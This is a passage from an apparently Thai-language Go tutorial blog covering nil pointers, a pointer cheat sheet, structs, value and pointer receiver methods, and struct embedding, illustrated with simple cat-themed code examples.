&#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE40;&#xE08;&#xE2D;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE23;&#xE49;&#xE32;&#xE22;&#xE41;&#xE23;&#xE07;&#xE41;&#xE25;&#xE30;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22; &#xE08;&#xE19;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE2B;&#xE22;&#xE38;&#xE14;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35;</p><p>nil &#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19; Go &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE27;&#xE48;&#xE32;&#xE07;&#xE40;&#xE1B;&#xE25;&#xE48;&#xE32;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32;</p><pre><code>var ptr *int // ptr &#xE40;&#xE1B;&#xE47;&#xE19; nil pointer

fmt.Println(ptr)  // &lt;nil&gt;
fmt.Println(*ptr) // &#xE08;&#xE30;&#xE40;&#xE01;&#xE34;&#xE14; panic: runtime error: invalid memory address or nil pointer dereference</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2567-12-16-at-06.25.37.png" class="kg-image" alt loading="lazy" width="1316" height="88" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2567-12-16-at-06.25.37.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2567-12-16-at-06.25.37.png 1000w, https://blog.pjjop.org/content/images/2024/12/Screenshot-2567-12-16-at-06.25.37.png 1316w" sizes="(min-width: 720px) 720px"></figure><p>&#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE40;&#xE23;&#xE32;&#xE04;&#xE27;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; nil &#xE01;&#xE48;&#xE2D;&#xE19;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE04;&#xE48;&#xE32; Pointer &#xE40;&#xE2A;&#xE21;&#xE2D;</p><pre><code>if ptr != nil {
    fmt.Println(*ptr)
} else {
    fmt.Println(&quot;Pointer is nil&quot;)
}</code></pre><h3 id="exercise-1"><em><em><em><em>Exercise</em></em></em></em></h3><p>&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE1A; Pointer &#xE41;&#xE25;&#xE30;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE04;&#xE48;&#xE32;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;</p><p><em><em><a href="https://forms.gle/1fVoS8zaHMWruCL38?ref=blog.pjjop.org"><em><em>Go Quiz </em></em>5</a><em><em> (</em></em></em>10<em><em><em> &#xE02;&#xE49;&#xE2D;) </em></em></em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em><em><em>Q&amp;A?</em></em></em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-pointer"><em><em>&#xE23;&#xE27;&#xE21; Cheat Sheet</em> Pointer</em></h3><pre><code>Pointer
-------

1. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Pointer
   var p *int  // Pointer to int
   p = &amp;x      // p &#xE40;&#xE01;&#xE47;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE02;&#xE2D;&#xE07; x
   
   ptr := new(int) // &#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28; Pointer &#xE41;&#xE1A;&#xE1A;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;

2. &#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48; Pointer &#xE0A;&#xE35;&#xE49;&#xE44;&#xE1B;
   *p  // &#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48; p &#xE0A;&#xE35;&#xE49;&#xE44;&#xE1B;

3. &#xE2A;&#xE31;&#xE0D;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE4C;
   &amp;  // address-of operator
   *  // dereference operator

4. Pointer &#xE01;&#xE31;&#xE1A;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;
   func changeSomething(x *int) {
       *x = newValue  // &#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE04;&#xE48;&#xE32;&#xE08;&#xE23;&#xE34;&#xE07;&#xE46;
   }

5. &#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE23;&#xE23;&#xE30;&#xE27;&#xE31;&#xE07;
   - Pointer &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; nil &#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21; panic</code></pre><h2 id="struct-%E0%B9%81%E0%B8%A5%E0%B8%B0-method-%E0%B8%AA%E0%B8%A3%E0%B9%89%E0%B8%B2%E0%B8%87%E0%B8%AA%E0%B8%B4%E0%B9%88%E0%B8%87%E0%B8%82%E0%B8%AD%E0%B8%87%E0%B8%82%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A3%E0%B8%B2%E0%B9%80%E0%B8%AD%E0%B8%87"><strong><strong>Struct &#xE41;&#xE25;&#xE30; Method : &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE40;&#xE2D;&#xE07;</strong></strong></h2><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Struct &#xE41;&#xE25;&#xE30; Method &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32; &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE40;&#xE02;&#xE35;&#xE22;&#xE27;&#xE41;&#xE25;&#xE30;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;</p><p><strong>Struct</strong> &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE40;&#xE02;&#xE35;&#xE22;&#xE27;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE27;&#xE48;&#xE32;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35;&#xE04;&#xE38;&#xE13;&#xE2A;&#xE21;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE1A;&#xE49;&#xE32;&#xE07;</p><pre><code>type Cat struct {
	Name  string
	Breed string
	Age   int
}

func main() {
	myCat := Cat{Name: &quot;&#xE15;&#xE38;&#xE19;&#xE15;&#xE31;&#xE07;&quot;, Breed: &quot;&#xE21;&#xE31;&#xE19;&#xE0A;&#xE4C;&#xE01;&#xE34;&#xE49;&#xE19;&quot;, Age: 2}
	fmt.Println(myCat)

	// &#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE1F;&#xE34;&#xE25;&#xE14;&#xE4C;
	fmt.Println(&quot;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE21;&#xE27;:&quot;, myCat.Name)
}</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE21;&#xE31;&#xE01;&#xE43;&#xE0A;&#xE49; Pointer &#xE01;&#xE31;&#xE1A; Struct &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07;</p><pre><code>func birthday(p *Cat) {
	p.Age++ // &#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49; (*p).Age
}

func main() {
	myCat := Cat{Name: &quot;&#xE15;&#xE38;&#xE19;&#xE15;&#xE31;&#xE07;&quot;, Breed: &quot;&#xE21;&#xE31;&#xE19;&#xE0A;&#xE4C;&#xE01;&#xE34;&#xE49;&#xE19;&quot;, Age: 2}
	birthday(&amp;myCat)
	fmt.Println(myCat) // {&#xE15;&#xE38;&#xE19;&#xE15;&#xE31;&#xE07; &#xE21;&#xE31;&#xE19;&#xE0A;&#xE4C;&#xE01;&#xE34;&#xE49;&#xE19; 3}
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Subject.jpg" class="kg-image" alt loading="lazy" width="1261" height="1008" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Subject.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Subject.jpg 1000w, https://blog.pjjop.org/content/images/2024/08/Subject.jpg 1261w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2A;&#xE48;&#xE27;&#xE19; <strong>Method</strong> &#xE40;&#xE1B;&#xE47;&#xE19; Function &#xE17;&#xE35;&#xE48;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE42;&#xE22;&#xE07;&#xE01;&#xE31;&#xE1A; Struct &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; &#xE40;&#xE0A;&#xE48;&#xE19; myCat.Meow() &#xE41;&#xE25;&#xE30; myCat.HaveBirthday()</p><pre><code>// Value Receiver
func (c Cat) Meow() {
    fmt.Printf(&quot;%s &#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE23;&#xE49;&#xE2D;&#xE07;: &#xE40;&#xE21;&#xE35;&#xE49;&#xE22;&#xE27;! &#xE40;&#xE21;&#xE35;&#xE49;&#xE22;&#xE27;!\n&quot;, c.Name)
}

// Pointer Receiver
func (c *Cat) HaveBirthday() {
    c.Age++
    fmt.Printf(&quot;%s &#xE21;&#xE35;&#xE2D;&#xE32;&#xE22;&#xE38; %d &#xE1B;&#xE35;&#xE41;&#xE25;&#xE49;&#xE27;!\n&quot;, c.Name, c.Age)
}
    
func main() {
	myCat := Cat{Name: &quot;&#xE15;&#xE38;&#xE19;&#xE15;&#xE31;&#xE07;&quot;, Breed: &quot;&#xE21;&#xE31;&#xE19;&#xE0A;&#xE4C;&#xE01;&#xE34;&#xE49;&#xE19;&quot;, Age: 2}
	myCat.Meow()
	myCat.HaveBirthday()
}</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE23;&#xE32;&#xE19;&#xE33; <strong>(c Cat)</strong> &#xE44;&#xE27;&#xE49;&#xE2B;&#xE19;&#xE49;&#xE32; Meow() &#xE41;&#xE25;&#xE30; HaveBirthday() &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Method &#xE43;&#xE2B;&#xE49;&#xE41;&#xE01;&#xE48; Type &quot;Cat&quot; &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE19;&#xE34;&#xE22;&#xE32;&#xE21;&#xE40;&#xE1B;&#xE47;&#xE19; Struct &#xE44;&#xE27;&#xE49;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;</p><p>&#xE43;&#xE19; Go &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE1E;&#xE32;&#xE23;&#xE32;&#xE21;&#xE34;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;&#xE1E;&#xE34;&#xE40;&#xE28;&#xE29; <strong>(c Cat)</strong> &#xE19;&#xE35;&#xE49;&#xE27;&#xE48;&#xE32; <strong>Receiver </strong>&#xE0B;&#xE36;&#xE48;&#xE07; Receiver &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Method &#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A; Type &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Type &#xE19;&#xE31;&#xE49;&#xE19; &#xE46; &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;</p><p>Receiver &#xE19;&#xE35;&#xE49;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Meow() &#xE01;&#xE25;&#xE32;&#xE22;&#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; struct &quot;Cat&quot; &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE1C;&#xE48;&#xE32;&#xE19; Instance &#xE02;&#xE2D;&#xE07; Cat &#xE44;&#xE14;&#xE49;</p><pre><code>func (variable Type) MethodName(parameters) {
    // Method body
}</code></pre><p>Receiver &#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE25;&#xE44;&#xE01;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19; Go &#xE17;&#xE35;&#xE48;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE40;&#xE0A;&#xE34;&#xE07;&#xE27;&#xE31;&#xE15;&#xE16;&#xE38; (OOP) &#xE40;&#xE1B;&#xE47;&#xE19;&#xE44;&#xE1B;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE02;&#xE2D;&#xE07; Class &#xE41;&#xE1A;&#xE1A;&#xE14;&#xE31;&#xE49;&#xE07;&#xE40;&#xE14;&#xE34;&#xE21; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Code &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE41;&#xE25;&#xE30;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE07;&#xE48;&#xE32;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19;</p><p>Receiver &#xE43;&#xE19; Go &#xE21;&#xE35; 2 &#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17; &#xE04;&#xE37;&#xE2D; Value Receiver &#xE41;&#xE25;&#xE30; Pointer Receiver</p><p><strong>Value Receiver</strong> &#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE2A;&#xE33;&#xE40;&#xE19;&#xE32;&#xE02;&#xE2D;&#xE07; Type &#xE40;&#xE0A;&#xE48;&#xE19; Struct &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19; Struct &#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A;&#xE44;&#xE14;&#xE49; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Method &#xE17;&#xE35;&#xE48;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE41;&#xE04;&#xE48;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE40;&#xE0A;&#xE48;&#xE19; Method Meow()</p><p><strong>Pointer Receiver</strong> &#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; Pointer &#xE17;&#xE35;&#xE48;&#xE0A;&#xE35;&#xE49;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Type &#xE40;&#xE0A;&#xE48;&#xE19; Struct &#xE08;&#xE23;&#xE34;&#xE07; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19; Struct &#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A;&#xE44;&#xE14;&#xE49; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Method &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A; &#xE40;&#xE0A;&#xE48;&#xE19; Method HaveBirthday() &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE2D;&#xE32;&#xE22;&#xE38;&#xE02;&#xE2D;&#xE07;&#xE41;&#xE21;&#xE27;</p><p>Go &#xE2D;&#xE19;&#xE38;&#xE0D;&#xE32;&#xE15;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Method &#xE41;&#xE01;&#xE48; Type &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE36;&#xE49;&#xE19;&#xE40;&#xE2D;&#xE07; <strong>&#xE41;&#xE21;&#xE49;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48; Struct</strong></p><pre><code>type MyInt int

// Pointer receiver
func (m *MyInt) Increment() {
	*m++
}

func main() {
	var num MyInt = 5
	num.Increment()
	fmt.Println(num)
}</code></pre><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE16;&#xE49;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE0B;&#xE48;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; field &#xE02;&#xE2D;&#xE07; Struct &#xE08;&#xE32;&#xE01;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01; Package <strong>&#xE43;&#xE2B;&#xE49;&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE1B;&#xE23;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE31;&#xE01;&#xE29;&#xE23;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE47;&#xE01;</strong></p><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19; MyInt &#xE40;&#xE1B;&#xE47;&#xE19; Type &#xE17;&#xE35;&#xE48;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE08;&#xE32;&#xE01; int &#xE41;&#xE25;&#xE30;&#xE21;&#xE35; Method &#xE04;&#xE37;&#xE2D; Increment() &#xE17;&#xE35;&#xE48;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE40;&#xE1B;&#xE47;&#xE19; Pointer Receiver</p><p><strong>Composition</strong> &#xE43;&#xE19; Go &#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE02;&#xE36;&#xE49;&#xE19;&#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE23;&#xE27;&#xE21;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE07;&#xE48;&#xE32;&#xE22;&#xE40;&#xE02;&#xE49;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE31;&#xE19; &#xE41;&#xE17;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE1A;&#xE17;&#xE2D;&#xE14; (<strong>Inheritance</strong>) &#xE41;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE1E;&#xE1A;&#xE43;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32; OOP &#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xA0;&#xE0B;&#xE36;&#xE48;&#xE07;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Code &#xE02;&#xE2D;&#xE07; Go &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE41;&#xE25;&#xE30;<strong>&#xE19;&#xE33;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE2B;&#xE21;&#xE48;</strong>&#xE44;&#xE14;&#xE49;&#xE14;&#xE35;&#xE01;&#xE27;&#xE48;&#xE32;</p><p><strong>Struct Embedding</strong> &#xE40;&#xE1B;&#xE47;&#xE19;&#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE35;&#xE48; Go &#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Composition &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE19;&#xE33; Struct &#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE44;&#xE1B;&#xE1D;&#xE31;&#xE07;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19;&#xE2D;&#xE35;&#xE01; Struct &#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;</p><pre><code>type Animal struct {
    Name string
    Age  int
}

func (a Animal) Breathe() {
    fmt.Printf(&quot;%s &#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE2B;&#xE32;&#xE22;&#xE43;&#xE08;\n&quot;, a.Name)
}

type Cat struct {
    Animal  // Embedding Struct Animal, Cat &quot;is-a&quot; Animal
    Breed string
}

func (c Cat) Meow() {
    fmt.Printf(&quot;%s &#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE23;&#xE49;&#xE2D;&#xE07;: &#xE40;&#xE21;&#xE35;&#xE49;&#xE22;&#xE27;! &#xE40;&#xE21;&#xE35;&#xE49;&#xE22;&#xE27;!\n&quot;, c.Name)
}

func main() {
    myCat := Cat{
        Animal: Animal{Name: &quot;&#xE15;&#xE38;&#xE19;&#xE15;&#xE31;&#xE07;&quot;, Age: 2},
        Breed:  &quot;&#xE21;&#xE31;&#xE19;&#xE0A;&#xE4C;&#xE01;&#xE34;&#xE49;&#xE19;&quot;,
    }
    myCat.Breathe()  // &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; method &#xE08;&#xE32;&#xE01; Animal
    myCat.Meow()     // &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; method &#xE02;&#xE2D;&#xE07; Cat
    fmt.Printf(&quot;%s &#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE21;&#xE27;&#xE1E;&#xE31;&#xE19;&#xE18;&#xE38;&#xE4C; %s\n&quot;, myCat.Name, myCat.Breed)
